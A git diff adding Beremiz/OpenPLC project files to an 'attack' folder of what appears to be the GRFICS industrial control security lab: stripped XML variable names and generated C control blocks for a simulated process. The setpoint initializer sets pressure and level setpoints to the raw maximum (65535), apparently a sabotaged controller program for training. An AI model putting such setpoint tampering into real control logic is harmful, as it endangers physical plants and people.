+ + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) 